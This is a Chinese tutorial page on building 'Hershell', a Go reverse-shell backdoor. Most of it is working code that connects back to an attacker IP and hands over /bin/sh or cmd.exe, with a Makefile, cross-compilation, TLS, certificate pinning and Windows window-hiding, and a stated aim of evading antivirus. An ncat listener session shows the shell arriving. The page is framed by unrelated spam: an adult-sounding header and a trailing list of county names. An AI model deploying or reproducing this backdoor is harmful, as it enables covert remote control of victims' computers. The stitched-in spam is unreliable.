91超碰碰碰碰久久久久久综合_超碰av人澡人澡人澡人澡人掠_国产黄大片在线观看画质优化_txt小说免费全本

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

go語言可不可以做滲透測試

發布時間:2023-01-04 09:45:57 來源:億速云 閱讀:86 作者:iii 欄目:編程語言

本篇內容主要講解“go語言可不可以做滲透測試”,感興趣的朋友不妨來看看。本文介紹的方法操作簡單快捷,實用性強。下面就讓小編來帶大家學習“go語言可不可以做滲透測試”吧!

go語言可以做滲透測試。Go在不需要任何外部依賴項的情況下執行交叉編譯非常容易。得益于標準庫,一個Go二進制文件包含了在目標體系結構上執行的所有必需的代碼;因此,Go語言應該可以很容易地從相同的源代碼中為多種平臺構建二進制文件。

什么是滲透測試

滲透測試,是一項在計算機系統上進行的授權模擬攻擊,旨在對其安全性進行評估,是為了證明網絡防御按照預期計劃正常運行而提供的一種機制。不妨假設,你的公司定期更新安全策略和程序,時時給系統打補丁,并采用了漏洞掃描器等工具,以確保所有補丁都已打上。

go語言可以做滲透測試

下面通過實例來介紹一下:編寫反彈后門 Hershell

在滲透測試過程中,一個必備的工具是眾所周知的、超級棒的Metasploit框架。

該環境包含大量的payload、編碼器和其他工具。在這些payload中Meterpreter有重要意義:它是一個經過開發和后開發命令的修改版的shell。由于其強大的攻擊特性,該shell可能是最常用到的。

Meterpreter的問題

不幸的是,Meterpreter的流行有一個缺點:大多數反病毒和基于簽名的解決方案都能檢測到它。通常在滲透測試過程中,一個含有Meterpreter payload的二進制文件會被檢測到,并被發送進行隔離。

另一個問題可能是缺乏對特定目標體系結構的支持(例如,BSD),迫使我們開發自己的后門。

上述這些問題促使我們編寫Hershell。該項目的目標是提供一個基于單一的源代碼的reverse shell payload,它可以跨平臺,并且不被殺毒軟件所發現。

我們使用Go語言開發,它是一種由Google開發的編譯語言。

為什么使用GO語言?

現今,Python可能是編寫腳本甚至完成應用程序最流行的語言,尤其是在安全領域。那么我們為什么要學習一門新的語言呢?

Go比Python或其他語言具有一種優勢:在不需要任何外部依賴項的情況下執行交叉編譯非常容易。得益于標準庫,一個Go二進制文件包含了在目標體系結構上執行的所有必需的代碼。因此,Go語言應該可以很容易地從相同的源代碼中為多種平臺構建二進制文件。

目標

在構建這段代碼時,我們想要實現以下目標:

payload類型是reverse shell;
得到一個跨多個平臺(Windows、Linux、MacOS、ARM)和硬件架構的payload;
容易配置;
加密通信;
繞過大多數反病毒檢測引擎。

環境準備

從你最喜歡的發行版中安裝Go包,或者從官方網站下載。  

一旦安裝完畢,我們需要配置環境。我們創建一個dev目錄,該目錄將是源、庫和構建二進制文件的根:

$ mkdir -p $HOME/dev/{src,bin,pkg}
$ export GOPATH=$HOME/dev
$ cd dev

該目錄遵循下面的計劃:

bin包含編譯后的二進制文件和其他可執行文件;
pkg包含Go下載包的對象文件;
src包含你的應用程序和下載包的源目錄。

我的第一個reverse shell

首先,使用Go語言創建一個簡單的TCP reverse shell。

這里是一個完整的注釋版本,而不是逐行注釋代碼。

// filename: tcp.go
package main
import (
   "net"       // requirement to establish a connection
   "os"        // requirement to call os.Exit()
   "os/exec"   // requirement to execute commands against the target system
)
func main() {
   // Connecting back to the attacker
   // If it fails, we exit the program
   conn, err := net.Dial("tcp", "192.168.0.23:2233")
   if err != nil {
       os.Exit(1)
   }
   // Creating a /bin/sh process
   cmd := exec.Command("/bin/sh")
   // Connecting stdin and stdout
   // to the opened connection
   cmd.Stdin = conn
   cmd.Stdout = conn
   cmd.Stderr = conn
   // Run the process
   cmd.Run()
}

首先,我們使用net.Dial建立一個到遠程服務器的連接。Go標準庫的net包是基于TCP或UDP網絡通信的一個抽象層。 

了解更多關于如何使用一個包、文檔(go doc)很有幫助:

$ go doc net
package net // import "net"
Package net provides a portable interface for network I/O, including TCP/IP,
UDP, domain name resolution, and Unix domain sockets.
Although the package provides access to low-level networking primitives,
most clients will need only the basic interface provided by the Dial,
Listen, and Accept functions and the associated Conn and Listener
interfaces. The crypto/tls package uses the same interfaces and similar Dial
and Listen functions.
...

讓我們回到腳本。

一旦建立了連接(如果失敗了,程序就停止了),我們將創建一個進程(類型為exec.Cmd的對象),這要歸功于exec.Command函數。所有輸入和輸出(stdout、stdin和stderr)都被重定向到連接,并啟動進程。

然后我們可以編行該文件:

$ go build tcp.go
$ ./tcp

現在,我們需要開啟偵聽器:

# Listening server (attacker)
$ ncat -lvp 2233
Listening on [0.0.0.0] (family 0, port 2233)
Connection from 192.168.0.20 38422 received!
id
uid=1000(lab) gid=100(users) groupes=100(users)

如預期的那樣,我們得到了reverse shell。 

到目前為止我們大多數的目標尚未實現。

配置

我們現在有一些reverse shell基本代碼。但是在每次編譯之后我們必須修改,以便定義攻擊者的監聽端口和IP地址。

這種操作雖然不是很便利。但這里可以引入一個簡單的小技巧:在連接時(在編譯之前)進行變量定義。 

事實上,在構建過程中,可以定義一些變量的值(使用go build命令)。 

這是使用前面代碼的一個簡短的例子:

// filename: tcp.go
package main
import (
   "net"
   "os"
   "os/exec"
)
// variable to be defined at compiling time
var connectString string
func main() {
   if len(connectString)  == 0 {
       os.Exit(1)
   }
   conn, err := net.Dial("tcp", connectString)
   if err != nil {
       os.Exit(1)
   }
   cmd := exec.Command("/bin/sh")
   cmd.Stdin = conn
   cmd.Stdout = conn
   cmd.Stderr = conn
   cmd.Run()
}

我們只添加下面一行代碼,進行一個安全測試以檢查它是否包含一個值:

var connectString string

其代碼編譯如下:

$ go build --ldflags "-X main.connectString=192.168.0.23:2233" tcp.go

當我們構建二進制文件時,攻擊者的IP地址和端口可以被動態定義。 

注意,可以以package.nomVariable的模式訪問這些變量,并且這些變量只能是string類型。

為了簡化編譯,我們可以創建一個Makefile:

# Makefile
SOURCE=tcp.go
BUILD=go build
OUTPUT=reverse_shell
LDFLAGS=--ldflags "-X main.connectString=${LHOST}:${LPORT}"
all:
   ${BUILD} ${LDFLAGS} -o ${OUTPUT} ${SOURCE}
clean:
   rm -f ${OUTPUT}

本文的其余部分,我們將使用LHOST和LPORT環境變量來定義設置:

$ make LHOST=192.168.0.23 LPORT=2233
go build --ldflags "-X main.connectString=192.168.0.23:2233" -o reverse_shell tcp.go

跨平臺

既然可以很容易地配置 payload,也可以跨平臺使用它。

如前所述,payload的強項之一是從同一個代碼庫使用Go語言為各種架構和平臺進行構建。

準確地說, runtime提供了GOOS和GOARCH變量。 

讓我們看看如何使用GOOS:

// filename: tcp_multi.go
package main
import (
   "net"
   "os"
   "os/exec"
   "runtime"   // requirement to access to GOOS
)
var connectString string
func main() {
   var cmd *exec.Cmd
   if len(connectString)  == 0 {
       os.Exit(1)
   }
   conn, err := net.Dial("tcp", connectString)
   if err != nil {
       os.Exit(1)
   }
   switch runtime.GOOS {
   case "windows":
       cmd = exec.Command("cmd.exe")
   case "linux":
       cmd = exec.Command("/bin/sh")
   case "freebsd":
       cmd = exec.Command("/bin/csh")
   default:
       cmd = exec.Command("/bin/sh")
   }
   cmd.Stdin = conn
   cmd.Stdout = conn
   cmd.Stderr = conn
   cmd.Run()
}

很顯然,我們添加了一個switch模塊來處理GOOS不同的值。因此,我們只是檢查幾個操作系統的值,并且改變每個目標進程。 

上面的代碼可以進一步簡化,實際上除了Windows,大多數操作系統上都有/bin/sh:

switch runtime.GOOS {
case "windows":
   // Windows specific branch
   cmd = exec.Command("cmd.exe")
default:
   // any other OS
   cmd = exec.Command("/bin/sh")
}

現在,使用GOARCH處理交叉編譯架構非常簡單:

$ make GOOS=windows GOARCH=amd64 LHOST=192.168.0.23 LPORT=2233
go build --ldflags "-X main.connectString=192.168.0.23:2233" -o reverse_shell tcp_multi.go
$ file reverse_shell
reverse_shell: PE32+ executable (console) x86-64 (stripped to external PDB), for MS Windows

網絡加密

現在,讓我們看看如何加密網絡流量。  

有幾種選擇:

用一個自制的方法,在應用程序層建立加密
使用一種被廣泛使用并且在會話層測試協議的方法,即TLS。

鑒于我們都傾向于簡單和安全,我們選擇了很容易用Go語言實現的TLS。標準庫已經支持一切支持TLS的東西。

在客戶端,一個新的&tls.Config類型對象需要配置連接,比如證書鎖定(certificate pinning)。

這是新的代碼庫,進行了輕微的優化和TLS處理:

import (
   "crypto/tls"
   "runtime"
   "os"
   "os/exec"
   "net"
)
var connectString string
func GetShell(conn net.Conn) {
   var cmd *exec.Cmd
   switch runtime.GOOS {
   case "windows":
       cmd = exec.Command("cmd.exe")
   default:
       cmd = exec.Command("/bin/sh")
   }
   cmd.Stdout = conn
   cmd.Stderr = conn
   cmd.Stdin = conn
   cmd.Run()
}
func Reverse(connectString string) {
   var (
       conn *tls.Conn
       err  error
   )
   // Creation of the tls.Config object
   // Accepting *any* server certificate
   config := &tls.Config{InsecureSkipVerify: true}
   if conn, err = tls.Dial("tcp", connectString, config); err != nil {
       os.Exit(-1)
   }
   defer conn.Close()
   // Starting the shell
   GetShell(conn)
}
func main() {
   if len(connectString)  == 0 {
       os.Exit(1)
   }
   Reverse(connectString)
}

如示例所示,創建一個TLS套接字(socket)非常類似于創建一個簡單的TCP socket。不同于tls.Config,tls.Conn對象與net.Conn以相同的方式被使用。

條件編譯

如上圖所示,可以改變取決于目標操作系統的程序執行。

然而,如果你想使用這段代碼,你會注意到一個問題。cmd.exe窗口會出現,并且無法隱藏,從而會提醒受害者。

幸運的是,exec.Cmd對象的SysProcAttr可以改變這種情況,如本文所述:

$ go doc exec.Cmd
...
// SysProcAttr holds optional, operating system-specific attributes.
// Run passes it to os.StartProcess as the os.ProcAttr's Sys field.
SysProcAttr *syscall.SysProcAttr
...
在Linux下,關于syscall.SysProcAttr模塊文件,我們得到以下信息:
$ go doc syscall.SysProcAttr
type SysProcAttr struct {
   Chroot       string         // Chroot.
   Credential   *Credential    // Credential.
   Ptrace       bool           // Enable tracing.
   Setsid       bool           // Create session.
   Setpgid      bool           // Set process group ID to Pgid, or, if Pgid == 0, to new pid.
   Setctty      bool           // Set controlling terminal to fd Ctty (only meaningful if Setsid is set)
   Noctty       bool           // Detach fd 0 from controlling terminal
   Ctty         int            // Controlling TTY fd
   Foreground   bool           // Place child's process group in foreground. (Implies Setpgid. Uses Ctty as fd of controlling TTY)
   Pgid         int            // Child's process group ID if Setpgid.
   Pdeathsig    Signal         // Signal that the process will get when its parent dies (Linux only)
   Cloneflags   uintptr        // Flags for clone calls (Linux only)
   Unshareflags uintptr        // Flags for unshare calls (Linux only)
   UidMappings  []SysProcIDMap // User ID mappings for user namespaces.
   GidMappings  []SysProcIDMap // Group ID mappings for user namespaces.
   // GidMappingsEnableSetgroups enabling setgroups syscall.
   // If false, then setgroups syscall will be disabled for the child process.
   // This parameter is no-op if GidMappings == nil. Otherwise for unprivileged
   // users this should be set to false for mappings work.
   GidMappingsEnableSetgroups bool
}

然而,在syscall package(包)的源代碼中,我們觀察到每一個構建都有一個特定的實現。

此外,在Windows的exec子方式中,我們注意到SysProcAttr結構有不同的定義。它有一個HidWindow屬性(布爾類型),當啟動一個程序時這一屬性允許隱藏啟動窗口。

該屬性也正是我們的后門需要的。

我們可能會被這一實現所吸引:

...
switch runtime.GOOS {
case "windows":
   cmd := exec.Cmd("cmd.exe")
   cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
default:
   cmd := exec.Cmd("/bin/sh")
}
...

然而,由于HideWindow屬性在syscall/exec_linux.go中不存在,因此這種編譯在除了Windows之外的任何其他平臺可能會失敗。

因此,我們需要調整我們的項目的結構,使用條件編譯。條件編譯指的是一種特性,允許添加源代碼文件頂部編譯器的命令。例如,如果我們想要編譯一個只適用于Windows操作系統的源文件,我們將添加該命令:

// +build windows !linux !darwin !freebsd
import net
...

當GOOS變量設置為darwin、 linux 或者freebsd時,該命令將指示編譯器不包括該文件。當然,當值與windows匹配時,編譯器將包含該源文件。  

為了在我們的項目中實現該條件編譯,我們將遵循這個結構:

$ tree 
├── hershell.go
├── Makefile
├── README.md
└── shell
   ├── shell_default.go
   └── shell_windows.go

hershell.go包含程序的核心部分。然后,我們創建一個名為shell的模塊,該模塊有兩個文件:適用于Linux和Unix的shell_default.go文件;以及適用于Windows的shell_windows.go文件。  

證書鎖定

使用TLS安全通信是件好事,但只要我們不對服務器進行身份驗證,流量仍然可以被“中間人”劫持。  

為了預防這種攻擊,我們將驗證服務器提供的證書,這就叫做“證書鎖定(certificate pinning)”。 

以下函數負責證書鎖定(certificate pinning):

func CheckKeyPin(conn *tls.Conn, fingerprint []byte) (bool, error) {
       valid := false
       connState := conn.ConnectionState()
       for _, peerCert := range connState.PeerCertificates {
               hash := sha256.Sum256(peerCert.Raw)
               if bytes.Compare(hash[0:], fingerprint) == 0 {
                       valid = true
               }
       }
       return valid, nil
}

這個函數接受一個tls.Conn對象的指針作為參數,并且包含SHA256格式的指紋證書的一個字節數組。在連接過程中,該代碼掃描所有tls.Conn中的PeerCertificates,直到發現與提供的相匹配的指紋為止。 

如果碰巧沒有證書匹配,函數返回false。

當需要建立與遠程服務器的連接時,我們只需要調用該函數;如果提交的證書是無效的則會關閉連接:

func Reverse(connectString string, fingerprint []byte) {
       var (
               conn *tls.Conn
               err  error
       )
       config := &tls.Config{InsecureSkipVerify: true}
       if conn, err = tls.Dial("tcp", connectString, config); err != nil {
               os.Exit(ERR_HOST_UNREACHABLE)
       }
       defer conn.Close()
       // checking the certificate fingerprint
       if ok, err := CheckKeyPin(conn, fingerprint); err != nil || !ok {
               os.Exit(ERR_BAD_FINGERPRINT)
       }
       RunShell(conn)
}

最初,由于–ldflags,在編譯(在Makefile中)過程中可以生成有效的指紋:

...
LINUX_LDFLAGS=--ldflags "-X main.connectString=${LHOST}:${LPORT} -X main.connType=${TYPE} -X main.fingerPrint=$$(openssl x509 -fingerprint -sha256 -noout -in ${SRV_PEM} | cut -d '=' -f2)"
...

到此,相信大家對“go語言可不可以做滲透測試”有了更深的了解,不妨來實際操作一番吧!這里是億速云網站,更多相關內容可以進入相關頻道進行查詢,關注我們,繼續學習!

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

新兴县| 特克斯县| 湘阴县| 东乌珠穆沁旗| 滨州市| 阜平县| 弥渡县| 佛坪县| 册亨县| 休宁县| 堆龙德庆县| 华池县| 邢台市| 临澧县| 苏尼特右旗| 达拉特旗| 平昌县| 横山县| 台江县| 庆阳市| 元江| 湟源县| 城市| 连山| 图木舒克市| 城步| 昌邑市| 古丈县| 佳木斯市| 芜湖市| 横山县| 建水县| 青田县| 亚东县| 洞头县| 富蕴县| 上饶市| 巴林右旗| 宜昌市| 神木县| 双江|